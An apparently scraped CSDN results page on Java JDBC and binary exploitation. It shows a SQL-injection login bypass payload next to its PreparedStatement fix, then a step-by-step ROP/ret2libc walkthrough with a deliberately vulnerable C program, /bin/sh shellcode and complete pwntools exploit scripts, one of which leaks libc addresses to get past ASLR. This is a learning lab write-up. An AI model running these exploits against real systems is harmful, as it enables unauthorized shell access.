            float maxScale = Float.MIN_VALUE;
            for (int i = 0; i< getItemCount(); i++) {
                int top = offsetList.get(i);
                if (outOfRange(top - offset)) continue;
                View scrap = recycler.getViewForPosition(i);
                measureChildWithMargins(scrap, 0, 0);
                if (dy >= 0)
                    addView(scrap);
                else
                    addView(scrap, 0);
    
                int deltaY = Math.abs(top - offset - middle);
                scrap.setScaleX(1);
                scrap.setScaleY(1);
                float scale = 1 + (mDecoratedChildHeight / (deltaY + 1));
                if (scale > maxScale) {
                    maxScale = scale;
                    selectedView = scrap;
                }
    
                layoutDecorated(scrap, left, top - offset, left + mDecoratedChildWidth, top - offset + mDecoratedChildHeight);
            }
    
            if (selectedView != null) {
                maxScale = maxScale > 2 ? 2 : maxScale;
                selectedView.setScaleX(maxScale);
                selectedView.setScaleY(maxScale);
            }
        }
    
    
        private boolean outOfRange(float targetOffSet) {
            return targetOffSet > getVerticalSpace() + mDecoratedChildHeight ||
                    targetOffSet < -mDecoratedChildHeight;
        }
    
        private int getHorizontalSpace() {
            return getWidth() - getPaddingLeft() - getPaddingRight();
        }
    
        private int getVerticalSpace() {
            return getHeight() - getPaddingTop() - getPaddingBottom();
        }
    }
    转:https://blog.csdn.net/yy254117440/article/details/61923602
    
    展开全文
  • 一步一步学会JDBC

    千次阅读 多人点赞 2020-05-10 20:02:15
    //以上正好完成了sql语句的拼接 //以下代码的含义是,发送sql语句给DBMS,DBMS进行sql编译 rs = stmt.executeQuery(sql); if(rs.next()){ loginSucess = true; } }catch (Exception e) { e....

    一、JDBC基本知识

    是什么

    • 英文全称:Java DataBase Connectivity(java语言连接数据库)
    • 是sun公司制定一套规范,一套接口

    为什么要有JDBC(接口)

    • 因为每一个数据库的底层实现原理不一样,恰恰符合面向接口编程,下面解释

    JDBC接口的调用者与实现者

    • 调用者:java程序员,调用这个接口就可以连接数据库并进行操作,而不管连接的是哪一个数据库
    • 实现者:各大数据库厂家,如:MySQL,SQL Sever,Oracle等等,该公司的程序员编写程序实现JDBC接口

    一图搞懂JDBC接口
    在这里插入图片描述
    驱动:各大数据库厂家实现JDBC接口的实现类也叫驱动,也就是jar包,需要java程序员到官网上下载

    二、java中与JDBC相关的接口

    相关的接口与类位于java.sql包下,

    接口 解释
    DriverMannger类 管理一组JDBC驱动程序,用于注册驱动
    Connection java程序与特定的数据库连接
    Statement 用于数据库操作
    PreparedStatement 用于数据库操作,Statement的子接口,下文写区别
    ResultSet 数据库查询返回的结果集

    java与数据库的连接与操作靠这几个接口(类)就可以实现,并且调用前一个接口的方法可以生成,下一个类的对象,是层层递进的关系

    三、JDBC编程的步骤

    1.步骤总览

    在这里插入图片描述

    2.重点说下前三步

    后三步的代码背后没有多少内容,所以先暂时放放

    2.1注册驱动
    • 告诉java程序,即将要连接的是哪个品牌的数据库

    导入MySQL的jar包(驱动)
    右击项目---->Open Module Settings
    在这里插入图片描述
    找到jar包点击ok即可

    代码注册驱动

    /**
     * @author Think-Coder
     * @data 2020/5/5 15:11
     */
    import java.sql.*;
    public class JDBCTest03
    {
    	public static void main(String[] args){
    		try{
    			//1.注册驱动常用方式
    			//为什么常用:因为参数是一个字符串,字符串可以写道xxx.properties文件中
    			Class.forName("com.mysql.jdbc.Driver");
    		}catch(Exception e){
    			e.printStackTrace();
    		}
    	}
    }
    

    com.mysql.jdbc.Driver类源码

    public class Driver extends NonRegisteringDriver implements java.sql.Driver {
        public Driver() throws SQLException {}
        
        static {
            try {
            	//这个方法是注册MySQL驱动的
                DriverManager.registerDriver(new Driver());
            } catch (SQLException var1) {
                throw new RuntimeException("Can't register driver!");
            }
        }
    }
    

    整个注册驱动方法驱动在static静态代码块中,当执行Class.forName(“com.mysql.jdbc.Driver”);时会加载com.mysql.jdbc.Driver类,此时static静态代码块执行,便会注册驱动了

    2.2.获取Connection连接:DriverManager.getConnection方法
    • 表示JVM的进程和数据库进程之间的通道打开了
    • 进程通信,重量级的,使用完一定要关闭

    方法参数需要提供

    	url(统一资源定位符)
    			如:jdbc:mysql://127.0.0.1:3306/selfproj
    			jdbc:mysql://  协议
    			127.0.0.1      IP地址
    			3306           端口号
    			selfproj       数据库名
    	账号:root
    	密码:123456
    

    代码如下:

    conn = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/selfproj?characterEncoding=utf8","root","123456");
    

    getConnection方法中是三个字符串参数,可以放在外部配置文件中
    当更改数据库时,只要更改外部配置文件就搞定,不需要重新启动服务,这个很重要
    咱们记住一条规律
    只要参数是字符串,用户需要动态变化的,都可以写在外部配置文件中

    2.3.获取数据库操作对象:通过Connection接口中的方法创建对象

    创建Statement对象,通过Connection接口的createStatement()方法

    	try {
    	    //1.注册驱动
    	    Class.forName("com.mysql.jdbc.Driver");
    	    //2.获取链接
    	    conn = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/selfproj?useUnicode=true&characterEncoding=utf8","root","123456");
    	   
    	    //3.获取数据库操作对象
    	    stmt = conn.createStatement();
    	    //4.执行sql
    	    //存在sql注入问题
    	    //假如此时userName="张三",userPwd="张三'or'1'='1"
    	    //通过字符串拼接将sql关键字or拼接进去
    	    //String sql="select * from user where name='张三' and pwd ='张三'or'1'='1'"
    	    //不需要正确的用户名及密码就能此时就能进入系统
    	    String sql = "select * from user where name='"+userName+"'and pwd ='"+userPwd+"'";
    	    
    	    //以上正好完成了sql语句的拼接
    	    //以下代码的含义是,发送sql语句给DBMS,DBMS进行sql编译
    	    rs = stmt.executeQuery(sql);
    	    if(rs.next()){
    	        loginSucess = true;
    	    }
    	}catch (Exception e) {
    	    e.printStackTrace();
    	}
    

    因为存在SQL注入问题,平时开发基本不用Statement对象,所以没有贴完整得代码

    3.JDBC完整的6步

    接下来会写一个用户登录完整的代码
    将JDBC的6步完全融合进去,使用了PreparedStatement对象,操作数据库,是开发中最常用的

    public class JDBCTest08 {
        public static void main(String[] args)  {
            //初始化一个界面
            Map<String,String> userLoginInfo = initUI();
            //验证用户名和密码
            boolean loginSucess = false;
            try {
                loginSucess = login(userLoginInfo);
            } catch (Exception e) {
                e.printStackTrace();
            }
            System.out.println(loginSucess?"登录成功":"登录失败");
        }
        
        //用户登录的方法
        public static boolean login(Map<String,String> userLoginInfo){
            //打标记
            boolean loginSucess = false;
            Connection conn = null;
            PreparedStatement ps = null;
            ResultSet rs = null;
    
            //单独定义变量
            String userName = userLoginInfo.get("loginName");
            String userPwd = userLoginInfo.get("loginPwd");
    
            try {
                //1.注册驱动
                Class.forName("com.mysql.jdbc.Driver");
                //2.获取链接
                conn = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/selfproj?useUnicode=true&characterEncoding=utf8&serverTimezone=GMT", "root", "123456");
                
                //3.获取数据库预编译PreparedStatement对象
                //sql语句框子,一个?代表一个占位符
                
                String sql = "select * from test where id=? and pwd=?";
                //程序执行到此,会发送sql语句框子给DBMS,然后DBMS进行sql语句的预先编译
                //此时sql语句中没有用户输入的值,很好的解决了sql注入问题
                ps = conn.prepareStatement(sql);
                //给?占位符传值
                ps.setString(1, userName);
                ps.setString(2, userPwd);
    
                //4.执行sql
                rs = ps.executeQuery();
                
                //5.处理返回的结果集
                // rs为返回的结果集
                if (rs.next()) {
                    loginSucess = true;
                }
            }catch (Exception e){
                e.printStackTrace();
            } finally {
                //6.释放资源
                if (rs != null) {
                    try {
                        rs.close();
                    } catch (SQLException e) {
                        e.printStackTrace();
                    }
                }
                if (ps != null) {
                    try {
                        ps.close();
                    } catch (SQLException e) {
                        e.printStackTrace();
                    }
                }
                if (conn != null) {
                    try {
                        conn.close();
                    } catch (SQLException e) {
                        e.printStackTrace();
                    }
                }
            }
            return loginSucess;
        }
        //用户输入的方法
        private static Map<String, String> initUI() {
            Scanner s = new Scanner(System.in);
    
            System.out.println("用户名:");
            String loginName = s.nextLine();
    
            System.out.println("密码:");
            String loginPwd = s.nextLine();
    
            Map<String,String> userLoginInfo = new HashMap<>();
            userLoginInfo.put("loginName",loginName);
            userLoginInfo.put("loginPwd",loginPwd);
    
            return userLoginInfo;
        }
    }
    

    解释说明

    • 完整的JDBC编程6步就写完了,JDBC编程6步是针对于查询的
    • 对于增删改的,是不需要第5步的,因为没有返回查询结果集
    • 使用增删改时,只需将第4步ps.executeQuery()变为ps.executeUpdate()就可以了,代码我就不写了,哈哈

    下面对比Statement对象和PreparedStatement对象

    • 1.Statement存在sql注入问题,PreparedStatement解决了sql注入问题。
    • 2.PreparedStatement执行效率高,编译一次执行多次,因为相同的sql语句不会再编译
      • 而Statement编译一次执行一次,因为基本上sql语句不会相同
    • 3.PreparedStatement会在编译阶段做类型检查

    总结:开发场景中99%使用PreparedStatement对象,在需要SQL注入的业务场景中使用Statement

    四.封装工具类

    注册驱动、连接数据库和释放连接经常使用可以封装到工具类中

    public class DBUtil {
        /*
        * 工具类中的构造方法都是私有的
        * 因为工具类当中的方法是静态的,不需要new对象,直接采用类名调用
        * */
        private DBUtil(){}
    
        //静态代码块在类加载时执行,并且只执行一次
        static {
            try {
                Class.forName("com.mysql.jdbc.Driver");
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
        }
    
        /*
        * 获取数据库连接对象
        * */
        public static Connection getConnection()throws Exception{
            return DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/selfproj?useUnicode=true&characterEncoding=utf8","root","123456");
        }
        /*
        * 关闭资源
        * */
        public static void close(Connection conn, Statement ps, ResultSet rs){
            if (rs != null) {
                try {
                    rs.close();
                } catch (SQLException e) {
                    e.printStackTrace();
                }
            }
            if (ps != null) {
                try {
                    ps.close();
                } catch (SQLException e) {
                    e.printStackTrace();
                }
            }
            if (conn != null) {
                try {
                    conn.close();
                } catch (SQLException e) {
                    e.printStackTrace();
                }
            }
        }
    }
    

    使用工具类,实现模糊查询

       public static void main(String[] args) {
            Connection conn = null;
            PreparedStatement ps = null;
            ResultSet rs = null;
    
            try {
                //使用工具类获取连接
                conn=DBUtil.getConnection();
                
                //获取预编译的数据库操作对象
                String sql = "select * from user where pwd like ?";
                ps = conn.prepareStatement(sql);
                
                //实现查询密码第二位是2的
                ps.setString(1,"_2%");
                rs=ps.executeQuery();
                while(rs.next()){
                    System.out.println(rs.getString("pwd"));
                }
            } catch (Exception e) {
                e.printStackTrace();
            }finally {
                //使用工具类释放资源
                DBUtil.close(conn,ps,rs);
            }
        }
    

    五、总结

    JDBC是一套让各个数据库厂家实现的接口,通过调用这些接口,实现java程序连接数据库,很好体现面向接口编程的特点

    展开全文
  • 通过前面三篇文章,学习栈帧,GOT表,PLT表,接下来就可以进行漏洞利用,漏洞利用学习最好的方法就是利用经典,其中经典教学里面最经典的当属蒸米大神的一步一步教学系列 一步一步学ROP之linux_x86篇 – 蒸米 蒸米...

    1.概述

    通过前面三篇文章,学习栈帧,GOT表,PLT表,接下来就可以进行漏洞利用,漏洞利用学习最好的方法就是利用经典,其中经典教学里面最经典的当属蒸米大神的一步一步教学系列
    一步一步学ROP之linux_x86篇 – 蒸米
    蒸米大神的文章,是实战类型,里面有不少细节的东西,对于我这种没有基础的人来讲,如果不理解是很容易忘记的,因此进行原理上的学习探索
    环境:ubuntu 16.04
    编译需要在原来的基础上添加-m32参数

    2 一步一步的调试并解决疑问

    2.1 源代码(蒸米)

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    void vulnerable_function() {
        char buf[128];
        read(STDIN_FILENO, buf, 256);
    }
    int main(int argc, char** argv) {
        vulnerable_function();
        write(STDOUT_FILENO, "Hello, World\n", 13);
    }
    

    2.2 汇编代码

        0x08048460 <+0>:     lea    ecx,[esp+0x4]
        0x08048464 <+4>:     and    esp,0xfffffff0
        0x08048467 <+7>:     push   DWORD PTR [ecx-0x4]
        0x0804846a <+10>:    push   ebp
        0x0804846b <+11>:    mov    ebp,esp
        0x0804846d <+13>:    push   ecx
        0x0804846e <+14>:    sub    esp,0x4
        0x08048471 <+17>:    call   0x804843b <vulnerable_function>
            0x0804843b <+0>:     push   ebp
            0x0804843c <+1>:     mov    ebp,esp
            0x0804843e <+3>:     sub    esp,0x88///这是88的关键
            0x08048444 <+9>:     sub    esp,0x4
            0x08048447 <+12>:    push   0x100
            0x0804844c <+17>:    lea    eax,[ebp-0x88]
            0x08048452 <+23>:    push   eax
            0x08048453 <+24>:    push   0x0
            0x08048455 <+26>:    call   0x8048300 <read@plt>
            0x0804845a <+31>:    add    esp,0x10
            0x0804845d <+34>:    nop
            0x0804845e <+35>:    leave
            0x0804845f <+36>:    ret
        0x08048476 <+22>:    sub    esp,0x4
        0x08048479 <+25>:    push   0xd
        0x0804847b <+27>:    push   0x8048520
        0x08048480 <+32>:    push   0x1
        0x08048482 <+34>:    call   0x8048320 <write@plt>
        0x08048487 <+39>:    add    esp,0x10
        0x0804848a <+42>:    mov    eax,0x0
        0x0804848f <+47>:    mov    ecx,DWORD PTR [ebp-0x4]
        0x08048492 <+50>:    leave
        0x08048493 <+51>:    lea    esp,[ecx-0x4]
        0x08048496 <+54>:    ret
    

    2.3 level1 调试细节

    2.3.1为什么是溢出点140个字节

    通过画堆栈图,对比在read执行之前和执行之后的堆栈变化,进行计算
    在这里插入图片描述
    140个字节就是0xffffd52c - 0xffffd4a0 = 140
    而Ret的地址为0xffffd52c----0xffffd530之间的四个字节
    所以覆盖返回地址要 140 + ret

    2.3.2 level1中的ret是什么,如何计算出来

    直接copy 蒸米大神的漏洞利用exp

    #!/usr/bin/env python
    from pwn import *
    p = process('./level1') 
    ret = 0xbffff290
    
    shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
    shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
    shellcode += "\x0b\xcd\x80"
    
    # p32(ret) == struct.pack("<I",ret) 
    # 对ret进行编码,将地址转换成内存中的二进制存储形式
    payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
    
    p.send(payload) #发送payload
    
    p.interactive()  #开启交互shell
    

    上面的ret = 0xbffff290
    首先ret是什么:返回地址,为了漏洞利用,将返回地址改成栈的地址
    栈的内容是如何计算的:蒸米大神是通过coredump打出来的,
    这里也是可以通过调试的方法打出来的:
    在这里插入图片描述
    根据gdb调试的堆栈图来看:上面代码的中ret应该是buffer首地址也就是0xffffd4a0,但是实际上会有稍微一点点的偏差:直接引用蒸米大神的说法
    对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置
    因此这里的再调试的时候,就需要通过gdb和pwntools一起调试就行了:
    在这里插入图片描述
    通过比较第一次的堆栈图:0x100 下面第二个地址及为buffer 的返回地址,然后修改代码为:

    from pwn import *
    p = process('./level1')
    #ret = 0xbffff290
    ret = 0xffffd4c0
    
    shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
    shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
    shellcode += "\x0b\xcd\x80"
    
    # p32(ret) == struct.pack("<I",ret)
    payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
    
    p.send(payload)
    p.interactive()
    

    执行完成之后,成功拿到shell
    在这里插入图片描述

    2.3.3 什么是NX(DEP)

    在上面的漏洞利用的过程中,是把shellcode放到栈上,然后通过控制Ret返回到栈上,进行执行,可以通过checksec查看一下当前的安全机制,NX是关闭的
    在这里插入图片描述

    标题因此也就明白了,NX的含义就是栈不可执行

    因此在level2的时候,通过执行栈的代码,已经不可行了
    在这里插入图片描述

    2.4 level2 调试细节(DEP/NX)

    2.4.1 什么是return to libc

    Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护
    顾名思义就是通过返回调用在libc中已经存在的函数,完成漏洞利用工作
    通过上面我们可以看到,NX开了之后,栈上的代码是不可以执行的,所以只能通过代码段的执行

    fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]
    

    2.4.2 为什么大家都倾向于使用__libc_start_main

    同时查看Got表可以看到:

    [DEBUG] PLT 0x8048300 read
    [DEBUG] PLT 0x8048310 __libc_start_main
    [DEBUG] PLT 0x8048320 write
    [DEBUG] PLT 0x8048330 __gmon_start__
    

    在函数运行开始,根据GOT和PLT的关系,函数开始运行到main时:__libc_start_main的GOT表中的地址是真实地址,其他的地址都是第一次尚未执行的地址
    通过下面对比write的GOT的内容与Write真实地址,同时对比__libc_start_main和真实地址可以看到write got表中的地址,此时并不等于write的真实地址
    在这里插入图片描述
    因此:
    1.__libc_start_main是每个程序都有的,具有通用性
    2.__libc_start_main中的地址为真实地址

    2.4.3漏洞利用脚本(改)

    适配本地环境之后,进一步完成漏洞利用脚本

    from pwn import *
    
    p = process('./level2')
    #p = remote('127.0.0.1',10002)
    
    ret = 0xdeadbeef
    systemaddr=0xf7e41940
    binshaddr=0xf7f6002b
    
    payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
    p.send(payload)
    
    p.interactive()
    

    注意,如果使用peda话,search的命令需要改一下,

    gdb-peda$ searchmem "/bin/sh" 0xf7e07000 0xf7fb8000
    Searching for '/bin/sh' in range: 0xf7e07000 - 0xf7fb8000
    Found 1 results, display max 1 items:
    libc : 0xf7f6002b ("/bin/sh")
    

    这里的起始地址和结束地址可以使用:
    cat /proc/{pid}/maps查看一下libc的起始地址(f7e07000)和结束地址(f7fb8000 )

    f7e07000-f7fb4000 r-xp 00000000 08:01 914180                             /lib32/libc-2.23.so
    f7fb4000-f7fb5000 ---p 001ad000 08:01 914180                             /lib32/libc-2.23.so
    f7fb5000-f7fb7000 r--p 001ad000 08:01 914180                             /lib32/libc-2.23.so
    f7fb7000-f7fb8000 rw-p 001af000 08:01 914180                             /lib32/libc-2.23.so
    

    2.4.4漏洞利用脚本中的RET是什么?

    payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
    

    这里有个ret,这个ret到底是什么,又是怎么来的,这里赋值有什么技巧
    首先这里写一个system函数测试一下:

    #include<stdio.h>
    #include<stdlib.h>
    int main()
    {
        printf("command\n");
        system("/bin/sh");
        return 0;
    }
    

    关键汇编代码为

       0x0804845f <+36>:    push   0x8048508
       0x08048464 <+41>:    call   0x8048310 <system@plt>
       0x08048469 <+46>:    add    esp,0x10
       0x0804846c <+49>:    mov    eax,0x0
    

    断点分别断在0x08048464 及system,然后画堆栈图为
    在这里插入图片描述
    1.32位函数传参是通过栈来传参的
    2.system函数会读取ret + 4 的地址内容作为参数传递
    3.ret的值可以随意设置,因为执行完成/bin/sh之后,程序返回与否都无关系,shell已经拿到
    因此漏洞利用程序send之后的堆栈为
    在这里插入图片描述

    2.4.5漏洞利用脚本(全自动)

    通过leak函数或者通过print可以泄露某个固定的地址(栈溢出存在NX但是系统关闭ALSR)
    如果是本地process可以通过leak函数,如果是远程环境,就改成固定地址

    from pwn import *
    context.log_level="debug"
    
    p = process("./level2")
    level2_elf = ELF("./level2")
    libc_elf = ELF("/lib32/libc-2.23.so")
    #libc_start_main_got_addr = level2_elf.got["__libc_start_main"]
    #print("libc_start_main_got_addr: " + hex(libc_start_main_got_addr))
    #libc_start_main_addr = int(p.leak(libc_start_main_got_addr,4)[::-1].encode("hex"),16)
    #print("libc_start_main_addr: " + hex(libc_start_main_addr))
    
    libc_start_main_addr = int("0xf7e07000",16)
    print("libc_start_main_addr: " + hex(libc_start_main_addr))
    
    libc_addr = libc_start_main_addr - libc_elf.symbols["__libc_start_main"]
    print("libc_addr: " + hex(libc_addr))
    
    system_addr = libc_addr + libc_elf.symbols["system"]
    print("system_addr: " + hex(system_addr))
    
    binsh_addr = libc_addr + next(libc_elf.search('/bin/sh'))
    print("binsh_addr: " + hex(binsh_addr))
    
    payload =  'A'*140 + p32(system_addr) + p32(1) + p32(binsh_addr)
    p.send(payload)
    p.interactive()
    

    2.4.6漏洞libc是如何获得的

    通过ldd命令:同时也能看到libc的起始地址
    在这里插入图片描述
    与上文计算出来的相同,如果不想用leak函数,可以直接用这个地址进行计算
    在这里插入图片描述

    2.5 level3 调试细节(ASLR)

    开始ASLR

    sudo -s 
    echo 2 > /proc/sys/kernel/randomize_va_space
    

    2.5.1 开启了之后的程序差别在什么地方

    通过上文知道,未开启之前,通过ldd是可以查看libc的基地址的,并且始终为:0xf7e07000
    但是开启之后,执行多次ldd结果如下,每次都是不一样的,也就是说之前获取libc基地址的方法不好使了
    在这里插入图片描述

    2.5.2 漏洞利用代码

    根据蒸米的代码稍微做少量的修改

    from pwn import *
    context.log_level="debug"
    
    p = process("./level2")
    level2_elf = ELF("./level2")
    libc_elf = ELF("/lib32/libc-2.23.so")
    
    # p = remote('127.0.0.1', 10003)
    
    plt_write = level2_elf.plt['write']
    print('plt_write= ' + hex(plt_write))
    got_write = level2_elf.got['write']
    print('got_write= ' + hex(got_write))
    vulfun_addr = 0x804843b
    print('vulfun= ' + hex(vulfun_addr))
    
    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
    
    print("\n###sending payload1 ...###")
    p.send(payload1)
    
    print("\n###receving write() addr...###")
    write_addr = u32(p.recv(4))
    print('write_addr=' + hex(write_addr))
    
    print("\n###calculating system() addr and \"/bin/sh\" addr...###")
    system_addr = write_addr - (libc_elf.symbols['write'] - libc_elf.symbols['system'])
    print('system_addr= ' + hex(system_addr))
    binsh_addr = write_addr - (libc_elf.symbols['write'] - next(libc_elf.search('/bin/sh')))
    print('binsh_addr= ' + hex(binsh_addr))
    
    payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
    
    print("\n###sending payload2 ...###")
    p.send(payload2)
    
    p.interactive()
    

    2.5.3 write函数payload的含义

    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
    

    我第一次看这个函数时,没有看懂这段payload的含义的,后来学习画堆栈图之后,这段代码就懂了

    在发送第一次payload的地方打个断点,看看堆栈
    在这里插入图片描述
    其中已知信息为:
    在这里插入图片描述
    画堆栈图为:
    在这里插入图片描述
    含义:
    1.第一次进入vul函数时,返回地址修改为write函数
    2.利用write函数,通过write_got将write函数的真实地址泄露出来
    3.执行完成write函数之后,返回地址为vul函数
    4.再一次利用vul函数的溢出漏洞,完成漏洞利用工作

    3 总结

    蒸米大神的这个教程是非常细致的,但是对于我这种零基础的人,还需要一点一点的扣细节才行,通过上面这一系列的调试工作,基本理解了每个阶段的原理(仅限x86系统)

    展开全文
  • 一步一步学ROP之linux_x86篇

    千次阅读 2016-02-19 11:16:13
    0x00 本文仅解释说明蒸米大神一步一步学ROP之linux_x86篇,读者应先阅读这篇文章,遇到问题再来看我这篇文章。 阅读完这两篇文章后,我们会理解ROP(返回导向编程),DEP(堆栈不可执行),ASLR(内存地址随机化),...
  • 五、如果要安装SQL Server数据库系统的所有模块功能,就勾选“具有默认值的所有功能”,点击“下一步“。(第三项”具有默认值的所有功能“相比于第一项”SQL Server功能安装“来说主要多了共享功能的模块,具体内容...
  • 如何一步一步推导出Y Combinator

    千次阅读 2013-04-13 22:20:55
    本文用Scheme(Racket)代码为例,一步一步的推出Y Combinator的实现。 本文不讲什么? Y Combinator是什么,干什么用的,它为什么能够work,它的数学含义以及实际应用场景,这些话题由于篇幅所限(咳咳,楼主...
  • 一步一步写ARM汇编(一)

    万次阅读 多人点赞 2018-06-05 21:18:48
    本博文开始学习一步一步写ARM汇编程序。 一、重要概念理解1. 立即数1)把数据转换成二进制形式,从低到高写成 4位1组的形式,最高位一组不够4位的前面补02)数1的个数,如果大于8个【可能也是立即数,取反】不是...
  • 一步一步教你实现Emoji表情键盘

    万次阅读 2016-11-24 00:17:49
    说到聊天,就离不开文字、表情和图片,表情和图片增加了聊天的趣味性,让原本无聊的文字瞬间用表情动了起来,今天给大家带来的是表情键盘,教你一步一步实现,先来看下效果图.
  • 一步一步创建GStreamer插件

    万次阅读 2012-08-01 16:22:28
    原文地址:一步一步创建GStreamer插件(ZZ)作者:wuqiseu 1、获取创建插件的模板gst-template http://hi.baidu.com/zhxust/blog/item/8161ab637d89ac6a0d33fa45.html 方法一: CVS $cvs -d:pserver:anoncvs@...
  • 教你一步一步实现图标无缝变形切换 ☺欢迎打赏☺ 转载请注明出处: 【huachao1001的专栏:http://blog.csdn.net/huachao1001】 *本篇文章已授权微信公众号 guolin_blog (郭霖)独家发布 本来这篇文章...
  • 【Linux】一步一步学Linux——Linux发展史(01)

    千次阅读 多人点赞 2019-07-04 22:39:46
    由于Linux kernel的发展是由虚拟团队所达成的,大家都是透过网络取得Linux的核心原始码,经由自己精心改造后再回传给Linux社群,进而一步一步的发展完成完整的Linux系统,至于Linus Torvalds是这个集团中的发起者。...
  • 一步一步理解GB、GBDT、xgboost

    千次阅读 2016-11-01 15:00:12
    本文尝试一步一步梳理GB、GBDT、xgboost,它们之间有非常紧密的联系,GBDT是以决策树(CART)为基学习器的GB算法,xgboost扩展和改进了GDBT,xgboost算法更快,准确率也相对高一些。  1. Gradient b
  • 一步一步写算法(之图结构)

    万次阅读 多人点赞 2011-10-30 15:33:20
    这个数据结构过分强调了边的意义和重要性,忽略了顶点本身的含义。因为,我们在强调边的时候,应该添加进顶点的相关特性。离开顶点的支持,单纯的边信息是没有什么含义的。   3)基于顶点链表的图表示 ...
  • 00. 目录 文章目录 00. 目录 01. 命令概述 02. 命令格式 03. 常用选项 04. 参考示例 05. 附录 ...使用GNU推出的基于C/C++的编译器,是开放源代码领域应用最广泛的编译器,...【Linux】一步一步学Linux系列教程汇总
  • 一步一步学完MyBatis的动态sql标签

    千次阅读 多人点赞 2020-06-03 23:21:20
    标签属性 属性 含义 collection 表示迭代集合的名称,可以使用@Param注解指定,必选参数 item 表示本次迭代获取元素,若collection为List类型,表示其中元素,为map类型表示key-value的value open 表示语句以什么...
  • 前言这篇文章实现了一个简单的LayoutManager,重点在于从原理方面一步一步去了解如何自定义一个LayoutManager。麻雀虽小,但五脏俱全。从自定义LayoutManager的layout布局,到scroll滑动,再到添加简单的动画效果。 ...
  • 一步一步实现WordCount的过程

    千次阅读 2012-10-07 21:35:30
    暂且不理会程序到含义,先搞懂如何运行hadoop。 //可以事先放入eclipse中检查一下错误,这样做方便很多! //package org.apache.hadoop.examples; import java.io.IOException; import java.util.
  • 一步一步实现现代前端单元测试

    万次阅读 2018-01-14 19:47:49
    现在我们一步一步把各种不同的技术结合一起来完成页面的单元测试和 e2e 测试。 1 karma + mocha + power assert karma - 是一款 测试流程管理工具 ,包含在执行测试前进行一些动作,自动在指定的环境(可以...
  • //蛇的身体节点 public class Node { Dir dir = Dir.LEFT;...// 蛇的位置,x、y具体含义可以看最上面网格图 Node pre = null;// 每个节点的前一个节点 Node next = null;// 每个节点的后一个节点 }
  • 【机房重构】一步一步往上爬——数据库设计

    千次阅读 热门讨论 2015-01-30 11:15:40
    自己也只能是一步一步往上爬,机房重构便从数据库设计开始。 在去年的自考学习中,《数据库系统原理》中的知识就可以在机房重构的时候好好应用一把了。第二章的《数据库设计和ER模型》很仔细地教了我们如何进行...
  • 一步一步学区块链(1)概念了解

    万次阅读 2016-11-24 17:15:05
    含义 比特币(BitCoin)的概念最初由中本聪在2009年提出,根据中本聪的思路设计发布的开源软件以及建构其上的P2P网络,其支持这一应用的底层技术叫做区块链(Blockchain)本质上是一个去中心化的数据库,区块链
  • 在Laravel中一步一步创建Packages

    千次阅读 2014-07-21 12:39:30
    ,也是一步一步介绍如何创建一个包,并关联相关资源。 这里以创建一个account包为例: 1、如果是首次使用php artisan workbench命令,需要配置app/config/workbench.php中的name和email,在生成包的时候...
  •  作者:清林,博客名:飞空静渡 这是一篇自己很早写的文章了,当时根据网上的一些教程一步一步制作,本来想把自己做的过程放到网上,可以西一值忙于公司项目,没有时间,去年想放上来的时候发现csdn上传不了图片,...
  • 一步一步实现Linux下Ping命令

    千次阅读 2012-03-14 10:28:42
     下面来说一下分析一下ICMP报文首部各个字段的具体含义,只有知道了具体的含义才能知道怎么来构造自己的ICMP报文:  ICMP回显请求报文和回显应答报文都属于查询类报文的一种。类型字段指名了该报文是回显请求...
  • 一步一步解读MT4的例子EA(init,sta…

    万次阅读 2017-03-16 10:58:35
    首先是注释,在MQL语言中所有//的这一行就是注释行,系统本身不会去执行它,它只是用来解释当前代码的含义的,我们在代码中加入这些注释为了是让我们能够清楚的阅读代码的含义,在程序中加入详细的注释是一个很好的...
  • 一步一步求解约瑟夫(Joseph)问题

    千次阅读 2011-07-27 21:31:43
    ,理解f的含义对理解后面的推导有重要作用,我最初将f(N)理解成N个人的约瑟夫环中第一个被execute的人的下标了,导致我怎么也无法理解后面的推导。现在我们就来推导f(N)的函数式: 首先我们来看看从原始的约瑟夫...
  • [置顶] 《那年,一步一步学linux c》全系列(目录索引) 几点说明: 该系列文章中所用结构数据代码均来自linux2.6.39. 文章中若有不对或某些功能更好的实现方法,请指出或直接留言。 本人邮箱muge0913@...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 143,959
精华内容 57,583
关键字:

一步一步的含义